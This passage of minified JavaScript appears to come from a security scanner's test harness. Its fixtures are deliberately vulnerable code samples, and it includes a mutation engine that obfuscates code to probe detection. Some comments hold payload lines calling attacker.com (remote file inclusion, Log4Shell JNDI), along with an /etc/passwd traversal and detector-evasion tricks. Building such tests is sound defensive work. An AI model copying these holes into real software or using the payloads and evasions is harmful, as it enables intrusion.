connectionString;\n\n public User FindByUsername(string username)\n {\n // VULNERABLE: SQL injection via string concatenation\n string query = "SELECT * FROM Users WHERE Username = \'" + username + "\'";\n using var conn = new SqlConnection(connectionString);\n using var cmd = new SqlCommand(query, conn);\n conn.Open();\n using var reader = cmd.ExecuteReader();\n if (reader.Read()) return new User(reader);\n return null;\n }\n}\n',mustDetect:["security","sql_injection"],mustNotFlag:[]},{id:"K14-CS-OPEN-REDIRECT",name:"Open redirect in C# without URL validation",battery:"5-csharp",language:"csharp",filename:"AuthController.cs",content:"\nusing System.Web.Mvc;\n\npublic class AuthController : Controller\n{\n [HttpPost]\n public ActionResult Login(LoginModel model, string returnUrl)\n {\n if (ModelState.IsValid && AuthService.Validate(model))\n {\n // VULNERABLE: open redirect — returnUrl not validated\n return Redirect(returnUrl);\n }\n return View(model);\n }\n}\n",mustDetect:["security","open_redirect"],mustNotFlag:[]},{id:"K15-CROSS-JS-BACKEND",name:"Cross-language: Node.js backend with XSS",battery:"6-crosslang",language:"javascript",filename:"server.js",content:"\nconst express = require('express');\nconst app = express();\n\n// XSS: user input reflected directly\napp.get('/search', (req, res) => {\n const query = req.query.q;\n res.send('<html><body>Results for: ' + query + '</body></html>');\n});\n\n// Hardcoded JWT secret\nconst JWT_SECRET = 'hardcoded-jwt-secret-do-not-use';\n\napp.listen(3000);\n",mustDetect:["security","xss"],mustNotFlag:[]},{id:"K16-CROSS-PY-BACKEND",name:"Cross-language: Python service with SSRF",battery:"6-crosslang",language:"python",filename:"proxy.py",content:"\nimport requests\nfrom flask import Flask, request, Response\n\napp = Flask(__name__)\n\n@app.route('/fetch')\ndef fetch():\n # SSRF: arbitrary URL from user input\n url = request.args.get('url')\n response = requests.get(url, timeout=5)\n return Response(response.content, content_type=response.headers['Content-Type'])\n",mustDetect:["security","ssrf"],mustNotFlag:[]},{id:"K17-SELFTEST-CLEAN-CRYPTO",name:"Self-test: clean crypto should NOT be flagged",battery:"7-selftest",language:"javascript",filename:"clean-crypto.js",content:"\nconst crypto = require('crypto');\n\n// CORRECT: using bcrypt for password hashing (via comment, not literal)\n// In production, use: const bcrypt = require('bcrypt');\n// hash = await bcrypt.hash(password, 12);\n\n// CORRECT: using crypto.randomBytes for tokens\nfunction generateToken() {\n return crypto.randomBytes(32).toString('hex');\n}\n\n// CORRECT: using PBKDF2 for key derivation\nfunction deriveKey(password, salt) {\n return crypto.pbkdf2Sync(password, salt, 100000, 32, 'sha256');\n}\n\nmodule.exports = { generateToken, deriveKey };\n",mustDetect:[],mustNotFlag:["insecure_crypto"]},{id:"K18-SELFTEST-CLEAN-SQL",name:"Self-test: parameterized SQL should NOT be flagged",battery:"7-selftest",language:"javascript",filename:"clean-sql.js",content:"\nconst mysql = require('mysql2/promise');\n\nasync function getUser(connection, userId) {\n // CORRECT: parameterized query — no SQL injection risk\n const [rows] = await connection.execute(\n 'SELECT id, username, email FROM users WHERE id = ?',\n [userId]\n );\n return rows[0] || null;\n}\n\nasync function searchUsers(connection, term) {\n const [rows] = await connection.execute(\n 'SELECT id, username FROM users WHERE username LIKE ?',\n ['%' + term + '%'] // value is parameterized, not concatenated into query\n );\n return rows;\n}\n\nmodule.exports = { getUser, searchUsers };\n",mustDetect:[],mustNotFlag:["sql_injection"]},{id:"A01-OBFUSC-SPLIT-SECRET",name:"Adversarial: hardcoded secret split across string concatenation",battery:"adversarial",language:"javascript",filename:"split-secret.js",content:"\n// Attempt to hide secret by splitting across concatenation\nconst part1 = 'AKIAIOSS';\nconst part2 = 'FODNN7EX';\nconst part3 = 'AMPLE';\nconst AWS_KEY = part1 + part2 + part3;\n\nconst sec1 = 'wJalrXUt';\nconst sec2 = 'nFEMI/K7';\nconst sec3 = 'MDENG/bP';\nconst sec4 = 'xRfiCYEX';\nconst sec5 = 'AMPLEKEY';\nconst AWS_SECRET = sec1 + sec2 + sec3 + sec4 + sec5;\n",mustDetect:["security","hardcoded_secret"],mustNotFlag:[]},{id:"A02-INDIRECT-EVAL",name:"Adversarial: eval via variable assignment (indirect eval)",battery:"adversarial",language:"javascript",filename:"indirect-eval.js",content:"\n// Indirect eval — assigns eval to a variable first\nconst indirectEval = eval;\nconst run = (code) => indirectEval(code);\nrun(userInput); // should still be detected as eval abuse\n",mustDetect:["security"],mustNotFlag:[]},{id:"A03-PROTO-BRACKET",name:"Adversarial: __proto__ via bracket notation",battery:"adversarial",language:"javascript",filename:"proto-bracket.js",content:"\n// Prototype pollution using bracket notation to evade __proto__ string match\nfunction mergeDeep(target, source) {\n for (const key in source) {\n if (source.hasOwnProperty(key)) {\n if (key === '__proto__' || key === 'constructor') {\n target['__pr' + 'oto__'][source[key]] = true; // split string attempt\n } else {\n target[key] = source[key];\n }\n }\n }\n return target;\n}\n",mustDetect:["security","prototype_pollution"],mustNotFlag:[]},{id:"A04-SSRF-REDIRECT-CHAIN",name:"Adversarial: SSRF via redirect chain",battery:"adversarial",language:"javascript",filename:"ssrf-redirect.js",content:"\nconst http = require('http');\n\n// SSRF: follows redirects to internal services\nfunction fetchUrl(url) {\n return new Promise((resolve, reject) => {\n http.get(url, (res) => {\n if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {\n // Follows redirect — can be abused for SSRF to internal services\n return fetchUrl(res.headers.location).then(resolve).catch(reject);\n }\n let data = '';\n res.on('data', d => data += d);\n res.on('end', () => resolve(data));\n }).on('error', reject);\n });\n}\n\napp.get('/preview', (req, res) => fetchUrl(req.query.url).then(d => res.send(d)));\n",mustDetect:["security","ssrf"],mustNotFlag:[]},{id:"A05-PATH-TRAVERSAL-JOIN",name:"Adversarial: path traversal via path.join (still traversable)",battery:"adversarial",language:"javascript",filename:"path-join-traversal.js",content:"\nconst path = require('path');\nconst fs = require('fs');\n\nconst BASE_DIR = '/var/www/uploads';\n\nfunction getFile(filename) {\n // VULNERABLE: path.join does not prevent traversal if filename starts with ../\n const filePath = path.join(BASE_DIR, filename);\n // Missing: if (!filePath.startsWith(BASE_DIR)) throw new Error('...')\n return fs.readFileSync(filePath, 'utf8');\n}\n\nmodule.exports = { getFile };\n",mustDetect:["security","path_traversal"],mustNotFlag:[]},{id:"A06-COMMAND-INJECT-ARRAY",name:"Adversarial: command injection via array join and shell invocation",battery:"adversarial",language:"javascript",filename:"cmd-array-inject.js",content:"\nconst { execSync } = require('child_process');\n\nfunction runPing(hosts) {\n // Attempt to sanitize via array, but still vulnerable\n const hostList = hosts.join(' ');\n const result = execSync('ping -c 1 ' + hostList);\n return result.toString();\n}\n\n// Called with user-controlled array: runPing(req.body.hosts)\n",mustDetect:["security","command_injection"],mustNotFlag:[]},{id:"A07-XSS-TEMPLATE-LITERAL",name:"Adversarial: XSS via template literal in innerHTML",battery:"adversarial",language:"javascript",filename:"xss-template.js",content:"\nfunction renderSearchResults(query, results) {\n const container = document.getElementById('results');\n // VULNERABLE: template literal with unescaped user query\n container.innerHTML = `\n <h2>Results for: ${query}</h2>\n <ul>${results.map(r => `<li>${r.title}</li>`).join('')}</ul>\n `;\n}\n\n// Called with: renderSearchResults(location.search.slice(1), data)\n",mustDetect:["security","xss"],mustNotFlag:[]},{id:"A08-INSECURE-RAND-TOKEN",name:"Adversarial: Math.random() used for security token",battery:"adversarial",language:"javascript",filename:"weak-token.js",content:"\n// INSECURE: Math.random() is not cryptographically secure\nfunction generateSessionToken() {\n return Math.random().toString(36).substring(2) + \n Math.random().toString(36).substring(2) +\n Date.now().toString(36);\n}\n\nfunction generateCSRFToken() {\n return Math.floor(Math.random() * 0xFFFFFFFF).toString(16);\n}\n\nmodule.exports = { generateSessionToken, generateCSRFToken };\n",mustDetect:["security","insecure_crypto"],mustNotFlag:[]},{id:"A09-DESER-NEW-FUNCTION",name:"Adversarial: new Function() as deserialization vector",battery:"adversarial",language:"javascript",filename:"new-function-deser.js",content:"\n// new Function() is effectively eval — RCE if user-controlled\nfunction executeTemplate(template, context) {\n const fn = new Function('ctx', `with(ctx) { return ${template}; }`);\n return fn(context);\n}\n\n// Called with user-provided template string\napp.post('/render', (req, res) => {\n const result = executeTemplate(req.body.template, { user: req.user });\n res.json({ result });\n});\n",mustDetect:["security","eval_abuse"],mustNotFlag:[]},{id:"A10-KOTLIN-HARDCODED",name:"Adversarial: Firebase key in Kotlin companion object",battery:"adversarial",language:"kotlin",filename:"FirebaseConfig.kt",content:'\nobject FirebaseConfig {\n // HARDCODED: Firebase credentials in source code\n const val API_KEY = "AIzaSyDdI0hJZK8gers2ertewertERTwertERT"\n const val DATABASE_URL = "https://my-app-prod.firebaseio.com"\n const val STORAGE_BUCKET = "my-app-prod.appspot.com"\n const val PROJECT_ID = "my-app-prod"\n \n // This is the production admin SDK key — never commit this!\n const val ADMIN_SDK_KEY = """\n {\n "type": "service_account",\n "private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAA..."\n }\n """\n}\n',mustDetect:["security","hardcoded_secret"],mustNotFlag:[]},{id:"A11-RUST-UNSAFE-TRANSMUTE",name:"Adversarial: Rust unsafe transmute misuse",battery:"adversarial",language:"rust",filename:"unsafe_cast.rs",content:"\nuse std::mem;\n\n// DANGEROUS: transmuting between incompatible types causes undefined behavior\nfn cast_unchecked<T, U>(val: T) -> U {\n unsafe {\n mem::transmute(val)\n }\n}\n\nfn parse_user_data(data: &[u8]) -> *const u64 {\n unsafe {\n // Casting raw pointer from user data — memory safety violation\n let ptr: *const u8 = data.as_ptr();\n mem::transmute(ptr)\n }\n}\n",mustDetect:["security","unsafe_block"],mustNotFlag:[]},{id:"A12-PHP-RFI",name:"Adversarial: PHP remote file inclusion",battery:"adversarial",language:"php",filename:"rfi.php",content:"<?php\n// [CRUCIBLE-SEED]\n// VULNERABLE: Remote File Inclusion via unsanitized user input\n$page = $_GET['page'];\n\n// No sanitization — allows: ?page=http://attacker.com/shell.php\ninclude($page . '.php');\n\n// Also vulnerable to path traversal: ?page=../../../../etc/passwd%00\nrequire_once($_POST['template']);\n",mustDetect:["security","path_traversal"],mustNotFlag:[]},{id:"A13-RUBY-YAML-RCE",name:"Adversarial: Ruby YAML.load for RCE",battery:"adversarial",language:"ruby",filename:"yaml_rce.rb",content:"\n# DANGEROUS: YAML.load can execute arbitrary Ruby objects (Psych gadget)\n# Use YAML.safe_load instead\nclass ConfigLoader\n def self.load_from_params(yaml_string)\n # This can execute arbitrary code via Psych gadgets\n YAML.load(yaml_string)\n end\n \n def self.load_from_request(request)\n YAML.load(request.body.read)\n end\nend\n",mustDetect:["security","yaml_deserialization"],mustNotFlag:[]},{id:"A14-PY-TEMPLATE-INJECT",name:"Adversarial: Jinja2 server-side template injection",battery:"adversarial",language:"python",filename:"ssti.py",content:"\nfrom flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route('/greet')\ndef greet():\n name = request.args.get('name', 'World')\n # DANGEROUS: render_template_string with user input allows SSTI\n # Payload: {{ 7*7 }} → 49, or {{ config.SECRET_KEY }}\n template = f\"<h1>Hello, {name}!</h1>\"\n return render_template_string(template)\n",mustDetect:["security","xss"],mustNotFlag:[]},{id:"A15-JAVA-LOG-INJECTION",name:"Adversarial: Log4j-style log injection",battery:"adversarial",language:"java",filename:"LogInjection.java",content:'\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport javax.servlet.http.HttpServletRequest;\n\npublic class AuthController {\n private static final Logger logger = LogManager.getLogger(AuthController.class);\n \n public void login(HttpServletRequest request) {\n String username = request.getParameter("username");\n // LOG4SHELL: ${jndi:ldap://attacker.com/exploit} in username\n logger.info("Login attempt for user: " + username);\n logger.error("Failed login: {}", username);\n }\n}\n',mustDetect:["security","log_injection"],mustNotFlag:[]},{id:"A16-CS-BINARY-FORMATTER",name:"Adversarial: C# BinaryFormatter deserialization",battery:"adversarial",language:"csharp",filename:"Deserializer.cs",content:"\nusing System.IO;\nusing System.Runtime.Serialization.Formatters.Binary;\n\npublic class SessionHandler\n{\n // DANGEROUS: BinaryFormatter is banned in .NET 5+ for a reason\n public static object DeserializeSession(byte[] data)\n {\n var formatter = new BinaryFormatter();\n using var stream = new MemoryStream(data);\n return formatter.Deserialize(stream); // RCE via gadget chains\n }\n}\n",mustDetect:["security","deserialization"],mustNotFlag:[]},{id:"A17-GO-TIMING-ATTACK",name:"Adversarial: Timing attack via string comparison in Go",battery:"adversarial",language:"go",filename:"timing.go",content:'\npackage auth\n\nimport "net/http"\n\nconst validToken = "super-secret-api-token-12345"\n\nfunc ValidateToken(r *http.Request) bool {\n\ttoken := r.Header.Get("X-API-Token")\n\t// VULNERABLE: direct string comparison leaks timing info\n\t// Use: hmac.Equal([]byte(token), []byte(validToken)) instead\n\treturn token == validToken\n}\n',mustDetect:["security","timing_attack"],mustNotFlag:[]},{id:"A18-TS-DANGEROUS-CAST",name:"Adversarial: TypeScript any-cast to bypass type safety",battery:"adversarial",language:"typescript",filename:"type-bypass.ts",content:"\nimport { Pool } from 'pg';\n\nconst db = new Pool();\n\nasync function getUserData(req: any): Promise<any> {\n // Type-cast to any bypasses type checking — SQL injection hidden\n const userId = (req.params as any).id;\n \n // No parameterization — direct interpolation\n const query = `SELECT * FROM users WHERE id = ${userId}`;\n const result = await db.query(query);\n return result.rows;\n}\n",mustDetect:["security","sql_injection"],mustNotFlag:[]},{id:"A19-KOTLIN-WEBVIEW-JS",name:"Adversarial: Android WebView with JavaScript interface",battery:"adversarial",language:"kotlin",filename:"WebViewActivity.kt",content:'\nimport android.webkit.WebView\nimport android.webkit.WebViewClient\n\nclass WebViewActivity : AppCompatActivity() {\n \n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n val webView = WebView(this)\n \n // DANGEROUS: enables JS + adds interface accessible from web content\n webView.settings.javaScriptEnabled = true\n webView.settings.allowUniversalAccessFromFileURLs = true\n webView.addJavascriptInterface(AndroidBridge(), "Android")\n \n // Load URL from intent — open to deep link injection\n val url = intent.getStringExtra("url") ?: "https://example.com"\n webView.loadUrl(url)\n }\n}\n',mustDetect:["security","xss"],mustNotFlag:[]},{id:"A20-PHP-OBJECT-INJECT",name:"Adversarial: PHP object injection via unserialize",battery:"adversarial",language:"php",filename:"object-inject.php",content:"<?php\nclass Token {\n public $secret;\n public function __wakeup() {\n // Runs after unserialize — RCE vector\n eval($this->secret);\n }\n}\n\n// DANGEROUS: unserialize with user data + magic method = RCE\n$token = unserialize($_COOKIE['token']);\n$data = unserialize(base64_decode($_GET['data']));\n",mustDetect:["security","deserialization"],mustNotFlag:[]}];class KennyMode{constructor(e={}){this.thubancli=e.thubancli||this._detectCLI(),this.timeout=e.timeout||3e4,this._sessionDir=null}_detectCLI(){const e=[path.join(__dirname,"../../cli.js"),path.join(__dirname,"../../dist/cli.js")];for(const t of e)if(fs.existsSync(t))return t;return null}_createSession(){const e=crypto.randomUUID?crypto.randomUUID():crypto.randomBytes(16).toString("hex");return this._sessionDir=path.join(os.tmpdir(),`thuban-crucible-${e}`),fs.mkdirSync(this._sessionDir,{recursive:!0}),this._sessionDir}_cleanup(){if(this._sessionDir&&fs.existsSync(this._sessionDir)){try{fs.rmSync(this._sessionDir,{recursive:!0,force:!0})}catch{}this._sessionDir=null}}_simulateScan(e){let t="";try{t=fs.readFileSync(e,"utf-8")}catch{return{skipped:!1,crashed:!1,timedOut:!1,exitCode:0,output:"{}",error:""}}const n=getPatterns().filter(e=>e.regex.test(t)).map(e=>e.category);if(0===n.length)return{skipped:!1,crashed:!1,timedOut:!1,exitCode:0,output:"{}",error:""};const r=n.map(e=>({category:e}));return{skipped:!1,crashed:!1,timedOut:!1,exitCode:1,output:JSON.stringify({issues:r}),error:""}}_runScan(e){const t=this._simulateScan(e);if(!this.thubancli)return t;let n=null;const r=require("path").join(require("os").tmpdir(),"thuban-km-"+require("crypto").randomBytes(4).toString("hex"));try{const t=require("path").basename(e);require("fs").mkdirSync(r,{recursive:!0}),require("fs").copyFileSync(e,require("path").join(r,t));const a=spawnSync(process.execPath,[this.thubancli,"scan",r,"--json"],{timeout:this.timeout,maxBuffer:10485760,encoding:"utf-8",env:{...process.env,THUBAN_DEV_MODE:"true"}}),s=null!==a.signal&&void 0!==a.signal,i="SIGTERM"===a.signal;s||i||!a.stdout||(n={output:a.stdout})}catch{}finally{try{require("fs").rmSync(r,{recursive:!0,force:!0})}catch{}}if(!n)return t;let a=[];try{a=(JSON.parse(n.output).issues||[]).filter(e=>e&&(e.category||e.type||e.id))}catch{}let s=[];try{s=JSON.parse(t.output).issues||[]}catch{}const i=JSON.stringify({issues:[...a,...s]});return{skipped:!1,crashed:!1,timedOut:!1,exitCode:a.length+s.length>0?1:0,output:i,error:""}}_extractDetected(e){const t=new Set;try{const n=JSON.parse(e);for(const e of n.issues||[])e.category&&t.add(e.category),e.id&&t.add(e.id),e.type&&t.add(e.type),["security","sql_injection","xss","eval_abuse","command_injection","path_traversal","hardcoded_secret","insecure_crypto","prototype_pollution","ssrf","deserialization","xxe","log_injection","open_redirect","timing_attack","unsafe_block","yaml_deserialization"].includes(e.category)&&t.add("security"),"hallucination"===e.category&&(t.add("hallucination"),t.add("HALL_API"))}catch{}return t}async run(e={}){const t=this._createSession(),n={timestamp:(new Date).toISOString(),total:0,passed:0,failed:0,skipped:0,tests:[],batteries:{},score:0};let r=KENNY_TESTS;e.only&&e.only.length&&(r=r.filter(t=>e.only.includes(t.id))),e.batteries&&e.batteries.length&&(r=r.filter(t=>e.batteries.includes(t.battery)));try{for(const a of r){n.total++;const r=path.join(t,a.filename);fs.writeFileSync(r,a.content,"utf-8");const s=this._runScan(r),i=this._extractDetected(s.output),o=a.mustDetect.filter(e=>!i.has(e)),c=a.mustNotFlag.filter(e=>i.has(e)),l=!s.crashed&&!s.timedOut&&0===o.length&&0===c.length,u={id:a.id,name:a.name,battery:a.battery,passed:l,crashed:s.crashed||!1,timedOut:s.timedOut||!1,skipped:s.skipped||!1,missingDetections:o,falsePositives:c,detected:Array.from(i),mustDetect:a.mustDetect};n.tests.push(u),s.skipped?n.skipped++:l?n.passed++:n.failed++,n.batteries[a.battery]||(n.batteries[a.battery]={total:0,passed:0,failed:0}),n.batteries[a.battery].total++,l?n.batteries[a.battery].passed++:n.batteries[a.battery].failed++,e.onProgress&&e.onProgress(a,u)}}finally{this._cleanup()}const a=n.total-n.skipped;return n.score=a>0?Math.round(n.passed/a*100):100,n.summary=`Kenny Mode: ${n.passed}/${a} tests passed (score: ${n.score}/100)`,n}static get tests(){return KENNY_TESTS}static get testCount(){return KENNY_TESTS.length}static get batteries(){return[...new Set(KENNY_TESTS.map(e=>e.battery))]}}module.exports={KennyMode:KennyMode,KENNY_TESTS:KENNY_TESTS};
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path"),HISTORY_FILENAME="history.json",MAX_HISTORY=200;function historyPath(t){return path.join(t,".crucible","history.json")}function loadHistory(t){const e=historyPath(t);if(!fs.existsSync(e))return[];try{const t=JSON.parse(fs.readFileSync(e,"utf-8"));return Array.isArray(t)?t.map(t=>(t&&"object"==typeof t&&(delete t.__proto__,delete t.constructor,delete t.prototype),t)):[]}catch{return[]}}function saveHistory(t,e){const o=path.join(t,".crucible");fs.mkdirSync(o,{recursive:!0});const n=e.slice(-200);fs.writeFileSync(historyPath(t),JSON.stringify(n,null,2),"utf-8")}function calcTrend(t){if(t.length<2)return"insufficient data";const e=t.slice(-Math.min(5,t.length)),o=e[0].score,n=e[e.length-1].score-o;return Math.abs(n)<=2?"stable":n>0?"improving":"declining"}const CHART_WIDTH=40,CHART_HEIGHT=10;function buildChart(t,{color:e=!0}={}){const o=t.slice(-20).map(t=>t.score);if(0===o.length)return[" (no data yet)"];const n=(t,o)=>e?`[${t}m${o}`:o,r=[];r.push(n("1"," Crucible Score History")+n("90"," (last 20 runs)")),r.push("");for(let t=10;t>=0;t--){const e=0+10*t;let l="";l+=n("90",t%2==0?String(Math.round(e)).padStart(4)+" │":" │");for(let t=0;t<o.length;t++){const r=o[t],s=r>=e;l+=s?n(r>=80?"32":r>=60?"33":"31",s?"█":" "):" "}r.push(l)}const l=" └"+"─".repeat(o.length);r.push(n("90",l));const s=o[o.length-1],c=calcTrend(t),a="improving"===c?"↑":"declining"===c?"↓":"→",i="improving"===c?"32":"declining"===c?"31":"33";return r.push(""),r.push(" Latest: "+n("1",String(s)+"/100")+" Trend: "+n(i,a+" "+c)),r}function formatEntry(t,e=!0){const o=(t,o)=>e?`[${t}m${o}`:o,n=t.date?t.date.slice(0,10):"unknown",r="number"==typeof t.score?t.score:"?",l=(t.level||"gentle").padEnd(7),s=null!=t.detectionRate?(Math.round(100*t.detectionRate)+"%").padStart(5):" n/a",c=null!=t.mutationsCaught?String(t.mutationsCaught).padStart(3):" n/a",a=(t.languages||[]).join(",")||"—",i=(String(r).padStart(3),r>=80?"32":r>=60?"33":"31");return o("90",n)+" "+o(i,"1")+" "+o("90",`lvl=${l}`)+o("90",`detect=${s} `)+o("90",`mutations=${c} `)+o("90",`langs=${a}`)}function recordRun(t,e){const o=loadHistory(t),n={date:(new Date).toISOString(),score:e.score,detectionRate:e.detectionRate??null,mutationsCaught:e.mutationsCaught??null,level:e.level||"gentle",languages:e.languages||[]};return o.push(n),saveHistory(t,o),o}function printLeaderboard(t,{color:e=!0,limit:o=10}={}){const n=loadHistory(t),r=(t,o)=>e?`[${t}m${o}`:o;if(console.log(""),console.log(r("1;36"," ╔══════════════════════════════════════════════════════╗")),console.log(r("1;36"," ║")+r("1"," CRUCIBLE LEADERBOARD — Score History ")+r("1;36","║")),console.log(r("1;36"," ╚══════════════════════════════════════════════════════╝")),console.log(""),0===n.length)return console.log(r("90"," No runs recorded yet.")),console.log(r("90"," Run: thuban crucible run . to record your first score.")),void console.log("");buildChart(n,{color:e}).forEach(t=>console.log(t)),console.log("");const l=n.slice(-o).reverse();console.log(r("1"," Recent Runs")),console.log(r("90"," "+"─".repeat(58)));for(const t of l)console.log(" "+formatEntry(t,e));n.length>o&&console.log(r("90",` ... and ${n.length-o} earlier runs (${historyPath(t)})`));const s=n.map(t=>t.score).filter(t=>"number"==typeof t),c=Math.max(...s),a=Math.min(...s),i=Math.round(s.reduce((t,e)=>t+e,0)/s.length),u=calcTrend(n),g="improving"===u?"↑":"declining"===u?"↓":"→",d="improving"===u?"32":"declining"===u?"31":"33";console.log(""),console.log(r("1"," All-Time Stats")),console.log(r("90"," "+"─".repeat(58))),console.log(` Highest: ${r("32",c+"/100")}`),console.log(` Lowest: ${r("31",a+"/100")}`),console.log(` Average: ${i}/100`),console.log(` Runs: ${n.length}`),console.log(` Trend: ${r(d,g+" "+u)}`),console.log(""),console.log(r("90"," Future: compete with your team at thuban.dev/leaderboard")),console.log("")}function getSummary(t){const e=loadHistory(t),o=e.map(t=>t.score).filter(t=>"number"==typeof t);return{runs:e.length,history:e,stats:o.length>0?{highest:Math.max(...o),lowest:Math.min(...o),average:Math.round(o.reduce((t,e)=>t+e,0)/o.length),trend:calcTrend(e)}:null}}module.exports={recordRun:recordRun,printLeaderboard:printLeaderboard,getSummary:getSummary,loadHistory:loadHistory,calcTrend:calcTrend,buildChart:buildChart};
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path"),os=require("os"),crypto=require("crypto"),MUTATIONS=[{name:"operator_flip_eq",description:"Replace === with == (loose equality — security bypass risk)",apply:e=>e.replace(/===/g,"==").replace(/!==/g,"!=")},{name:"operator_flip_and",description:"Replace && with & (bitwise — can bypass auth checks)",apply:e=>e.replace(/if\s*\(([^)]+)\)/g,(e,t)=>"if ("+t.replace(/&&/g,"&")+")")},{name:"operator_flip_or",description:"Replace || with | (bitwise — default value bypass)",apply:e=>e.replace(/if\s*\(([^)]+)\)/g,(e,t)=>"if ("+t.replace(/\|\|/g,"|")+")")},{name:"string_concat_to_template",description:'Convert "a" + b to `a${b}` (template literal — SQL injection risk)',apply:e=>e.replace(/"([^"]{1,40}?)"\s*\+\s*(\w+)/g,(e,t,s)=>"`"+t+"${"+s+"}`")},{name:"string_split_concat",description:"Split a hardcoded string across two literals (obfuscation)",apply:e=>e.replace(/'([a-zA-Z0-9_\-]{8,24})'/g,(e,t)=>{const s=Math.floor(t.length/2);return`'${t.slice(0,s)}' + '${t.slice(s)}'`})},{name:"base64_encode_string",description:'Wrap a string value in Buffer.from().toString("base64") (obfuscation)',apply:(e,t)=>["js","ts","javascript","typescript"].includes(t)?e.replace(/'(password|secret|key|token|api_?key)':\s*'([^']+)'/gi,(e,t,s)=>`'${t}': Buffer.from('${Buffer.from(s).toString("base64")}', 'base64').toString('utf8')`):e},{name:"require_to_dynamic_import",description:"Convert require() to eval-based dynamic require (evades static analysis)",apply(e,t){if(!["js","javascript"].includes(t))return e;let s=0;return e.replace(/require\('([^']+)'\)/g,(e,t)=>s++>0?e:`eval("require")('${t}')`)}},{name:"import_alias_obfuscation",description:"Add an alias variable to obscure dangerous function names",apply(e,t){if(!["js","ts","javascript","typescript"].includes(t))return e;if(/\bexecSync\b/.test(e)){const t="_"+crypto.randomBytes(3).toString("hex");e=(e="const "+t+' = require("child_process").execSync;\n'+e).replace(/\bexecSync\b/g,t)}return e}},{name:"if_negation_flip",description:"Flip if/else branches (may invert security checks)",apply:e=>e.replace(/if\s*\(!\s*(\w+)\)\s*\{([^}]*)\}\s*else\s*\{([^}]*)\}/g,(e,t,s,n)=>`if (${t}) {${n}} else {${s}}`)},{name:"early_return_removal",description:"Remove early return guards (bypass validation)",apply:e=>e.replace(/^\s*if\s*\([^)]+\)\s*\{\s*return\s*(?:null|false|undefined|0|''|"")?\s*;\s*\}\s*$/gm,"")},{name:"async_await_strip",description:"Remove await from async calls (timing/race condition potential)",apply:e=>e.replace(/const\s+(\w+)\s*=\s*await\s+/g,"const $1 = ")},{name:"todo_injection",description:"Add misleading TODO/SAFE comments near vulnerable code",apply(e){const t=["// TODO: add validation here later","// SAFE: this is sanitized upstream","// SECURITY: reviewed by team — OK","// NOTE: user input is trusted at this point"],s=Math.floor(t.length/2),n=e.split("\n");return n.splice(Math.min(5,n.length-1),0,t[s]),n.join("\n")}},{name:"variable_rename_obfuscate",description:"Rename obvious danger variables to innocuous names",apply(e){const t=[[/\bexecCommand\b/g,"processInput"],[/\bsqlQuery\b/g,"queryStr"],[/\brawInput\b/g,"data"],[/\buserInput\b/g,"val"],[/\bpassword\b/g,"pwd"]];for(const[s,n]of t)e=e.replace(s,n);return e}},{name:"dead_code_injection",description:"Inject plausible-looking but unreachable safe code",apply:e=>e+"\n\n// Dead code: sanitization that never runs\nfunction _sanitize(input) {\n return String(input).replace(/[<>\"';&]/g, '');\n}\n"},{name:"hex_string_encoding",description:"Encode a dangerous string value as hex (evades simple pattern matching)",apply:(e,t)=>["js","javascript","ts","typescript"].includes(t)?e.replace(/'(SELECT|INSERT|UPDATE|DELETE|DROP|UNION)([^']{0,30})'/gi,(e,t,s)=>{const n=t+s;return`Buffer.from('${Buffer.from(n).toString("hex")}', 'hex').toString()`}):e},{name:"prototype_chain_obfuscate",description:"Use bracket notation to access __proto__ (avoids literal detection)",apply:e=>e.replace(/\.__proto__/g,'["__proto__"]').replace(/\.constructor\.prototype/g,'["constructor"]["prototype"]')},{name:"path_concat_to_join",description:"Convert path concatenation to path.join (still traversable)",apply:e=>e.replace(/(\w+)\s*\+\s*(['"]\/[^'"]+['"])/g,"path.join($1, $2)")}];class MutationEngine{constructor(e={}){this.prngseed="number"==typeof e.prngseed?e.prngseed:42,this.maxMutationsPerFile=e.maxMutationsPerFile||3,this._sessionDir=null}createSession(){if(!this._sessionDir){const e=crypto.randomUUID?crypto.randomUUID():crypto.randomBytes(16).toString("hex");this._sessionDir=path.join(os.tmpdir(),`thuban-crucible-${e}`),fs.mkdirSync(this._sessionDir,{recursive:!0})}return this._sessionDir}cleanup(){if(this._sessionDir&&fs.existsSync(this._sessionDir)){try{fs.rmSync(this._sessionDir,{recursive:!0,force:!0})}catch{}this._sessionDir=null}}_createPRNG(){let e=this.prngseed>>>0;return function(){e|=0,e=e+1831565813|0;let t=Math.imul(e^e>>>15,1|e);return t=t+Math.imul(t^t>>>7,61|t)^t,((t^t>>>14)>>>0)/4294967296}}_pickMutations(e,t){const s=MUTATIONS.slice();for(let t=s.length-1;t>0;t--){const n=Math.floor(e()*(t+1));[s[t],s[n]]=[s[n],s[t]]}return s.slice(0,t)}_detectLang(e){return{".js":"js",".mjs":"js",".cjs":"js",".ts":"ts",".tsx":"ts",".py":"python",".java":"java",".cs":"csharp",".go":"go",".kt":"kotlin",".kts":"kotlin",".rs":"rust",".php":"php",".rb":"ruby"}[path.extname(e).toLowerCase()]||"unknown"}applyMutation(e,t,s="js"){const n=MUTATIONS.find(e=>e.name===t);if(!n)throw new Error(`Unknown mutation: ${t}`);try{return n.apply(e,s)}catch{return e}}applyRandomMutations(e,t="js",s){const n=null!=s?s:this.maxMutationsPerFile,a=this._createPRNG(),i=this._pickMutations(a,n),r=[];let o=e;for(const e of i)try{const s=e.apply(o,t);s!==o&&(r.push(e.name),o=s)}catch{}return{mutatedCode:o,applied:r}}mutateFile(e,t={}){const s=this.createSession(),n=this._detectLang(e),a=fs.readFileSync(e,"utf-8");let i,r;if(t.only&&t.only.length){r=a,i=[];for(const e of t.only){const t=this.applyMutation(r,e,n);t!==r&&i.push(e),r=t}}else{const e=this.applyRandomMutations(a,n,t.mutations);r=e.mutatedCode,i=e.applied}const o=path.basename(e),p=path.parse(o).name,c=path.extname(o),l=`${p}-mutated-${crypto.randomBytes(3).toString("hex")}${c}`,u=path.join(s,l);return fs.writeFileSync(u,r,"utf-8"),{tempPath:u,applied:i,lang:n,original:a,mutated:r}}async mutateFiles(e,t){this.createSession();const s=[];try{for(const t of e)try{const 